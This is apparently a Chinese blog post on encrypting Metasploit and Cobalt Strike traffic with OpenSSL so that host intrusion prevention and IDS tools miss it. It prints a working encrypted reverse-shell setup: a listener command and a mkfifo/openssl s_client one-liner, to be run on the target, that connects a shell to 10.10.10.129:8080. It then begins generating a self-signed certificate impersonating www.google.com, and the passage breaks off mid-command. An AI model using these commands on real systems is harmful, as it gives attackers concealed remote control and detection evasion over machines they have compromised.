msf cs openssl流量加密

最新推荐文章于 2024-04-11 06:15:15 发布

原创

最新推荐文章于 2024-04-11 06:15:15 发布 · 893 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#安全

本文介绍了如何使用OpenSSL创建自签名证书以加密meterpreter会话，避免主机入侵防御系统的检测。在Kali Linux上生成证书后，将其应用于Cobalt Strike，通过修改C2 profile进行流量加密和混淆。此外，探讨了域前置技术，通过CDN节点转发流量以规避IDS审计，提高隐蔽性。

OpenSSL反弹加密shell

OpenSSL是一个开放源代码的软件库爆，应用程序可以使这个包来进行安全通信，避免窃听，同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

在kali上使用OpenSSL生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

在kali上监听端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

在目标上执行反弹shell命令

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.129:8080 > /tmp/s; rm /tmp/s

msf流量加密躲避检测

OpenSSL创建SSL/TLS证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt>www.google.